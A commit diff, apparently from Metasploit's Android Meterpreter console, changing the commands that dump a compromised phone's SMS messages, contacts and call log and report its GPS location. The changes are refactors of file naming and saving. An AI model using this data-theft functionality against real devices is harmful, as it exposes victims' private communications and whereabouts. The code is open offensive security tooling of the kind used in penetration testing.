@@ -80,7 +80,7 @@ def cmd_device_shutdown(*args)
80
80
81
81
def cmd_dump_sms ( *args )
82
82
83
- path = ' sms_dump_' + Rex :: Text . rand_text_alpha ( 8 ) + ' .txt'
83
+ path = " sms_dump_#{ Time . new . strftime ( '%Y%m%d%H%M%S' ) } .txt"
84
84
dump_sms_opts = Rex ::Parser ::Arguments . new (
85
85
'-h' => [ false , 'Help Banner' ] ,
86
86
'-o' => [ false , 'Output path for sms list' ]
@@ -119,7 +119,7 @@ def cmd_dump_sms(*args)
119
119
120
120
smsList . each_with_index { |a , index |
121
121
122
- data << "##{ ( index . to_i + 1 ) . to_s ( ) } \n "
122
+ data << "##{ index . to_i + 1 } \n "
123
123
124
124
type = 'Unknown'
125
125
if a [ 'type' ] == '1'
@@ -154,9 +154,8 @@ def cmd_dump_sms(*args)
154
154
data << "Message\t : #{ a [ 'body' ] } \n \n "
155
155
}
156
156
157
- path = store_loot ( "android.sms" , "text/plain" , client . sock . peerhost , data , "sms.txt" , "Android SMS Dump" )
157
+ :: File . write ( path , data )
158
158
print_status ( "Sms #{ smsList . count == 1 ? 'message' : 'messages' } saved to: #{ path } " )
159
- Rex ::Compat . open_file ( path )
160
159
161
160
return true
162
161
rescue
@@ -172,7 +171,7 @@ def cmd_dump_sms(*args)
172
171
173
172
def cmd_dump_contacts ( *args )
174
173
175
- path = ' contacts_dump_' + Rex :: Text . rand_text_alpha ( 8 ) + ' .txt'
174
+ path = " contacts_dump_#{ Time . new . strftime ( '%Y%m%d%H%M%S' ) } .txt"
176
175
dump_contacts_opts = Rex ::Parser ::Arguments . new (
177
176
178
177
'-h' => [ false , 'Help Banner' ] ,
@@ -213,7 +212,7 @@ def cmd_dump_contacts(*args)
213
212
214
213
contactList . each_with_index { |c , index |
215
214
216
- data << "##{ ( index . to_i + 1 ) . to_s ( ) } \n "
215
+ data << "##{ index . to_i + 1 } \n "
217
216
data << "Name\t : #{ c [ 'name' ] } \n "
218
217
219
218
if c [ 'number' ] . count > 0
@@ -231,9 +230,8 @@ def cmd_dump_contacts(*args)
231
230
data << "\n "
232
231
}
233
232
234
- path = store_loot ( "android.contacts" , "text/plain" , client . sock . peerhost , data , "contacts.txt" , "Android Contacts Dump" )
233
+ :: File . write ( path , data )
235
234
print_status ( "Contacts list saved to: #{ path } " )
236
- Rex ::Compat . open_file ( path )
237
235
238
236
return true
239
237
rescue
@@ -271,23 +269,23 @@ def cmd_geolocate(*args)
271
269
geo = client . android . geolocate
272
270
273
271
print_status ( 'Current Location:' )
274
- print_line ( "\t Latitude : #{ geo [ 0 ] [ 'lat' ] } " )
275
- print_line ( "\t Longitude : #{ geo [ 0 ] [ 'long' ] } \n " )
276
- print_line ( "To get the address: https://maps.googleapis.com/maps/api/geocode/json?latlng=#{ geo [ 0 ] [ 'lat' ] } ,#{ geo [ 0 ] [ 'long' ] } &sensor=true\n " )
272
+ print_line ( "\t Latitude: #{ geo [ 0 ] [ 'lat' ] } " )
273
+ print_line ( "\t Longitude: #{ geo [ 0 ] [ 'long' ] } \n " )
274
+ print_line ( "To get the address: https://maps.googleapis.com/maps/api/geocode/json?latlng=#{ geo [ 0 ] [ 'lat' ] . to_f } ,#{ geo [ 0 ] [ 'long' ] . to_f } &sensor=true\n " )
277
275
278
276
279
277
if generate_map
280
- link = "https://maps.google.com/maps?q=#{ geo [ 0 ] [ 'lat' ] } ,#{ geo [ 0 ] [ 'long' ] } "
281
- print_status ( ' Generated map on google-maps:' )
282
- print_status ( '#{ link}' )
278
+ link = "https://maps.google.com/maps?q=#{ geo [ 0 ] [ 'lat' ] . to_f } ,#{ geo [ 0 ] [ 'long' ] . to_f } "
279
+ print_status ( " Generated map on google-maps:" )
280
+ print_status ( link )
283
281
Rex ::Compat . open_browser ( link )
284
282
end
285
283
286
284
end
287
285
288
286
def cmd_dump_calllog ( *args )
289
287
290
- path = 'dump_calllog_' + Rex :: Text . rand_text_alpha ( 8 ) + ' .txt'
288
+ path = "calllog_dump_ #{ Time . new . strftime ( '%Y%m%d%H%M%S' ) } .txt"
291
289
dump_calllog_opts = Rex ::Parser ::Arguments . new (
292
290
293
291
'-h' => [ false , 'Help Banner' ] ,
@@ -327,7 +325,7 @@ def cmd_dump_calllog(*args)
327
325
328
326
log . each_with_index { |a , index |
329
327
330
- data << "##{ ( index . to_i + 1 ) . to_s ( ) } \n "
328
+ data << "##{ index . to_i + 1 } \n "
331
329
332
330
data << "Number\t : #{ a [ 'number' ] } \n "
333
331
data << "Name\t : #{ a [ 'name' ] } \n "
@@ -336,9 +334,8 @@ def cmd_dump_calllog(*args)
336
334
data << "Duration: #{ a [ 'duration' ] } \n \n "
337
335
}
338
336
339
- path = store_loot ( "android.calllog" , "text/plain" , client . sock . peerhost , data , "call-log.txt" , "Android Call Log Dump" )
337
+ :: File . write ( path , data )
340
338
print_status ( "Call log saved to #{ path } " )
341
- Rex ::Compat . open_file ( path )
342
339
343
340
return true
344
341
rescue
0 commit comments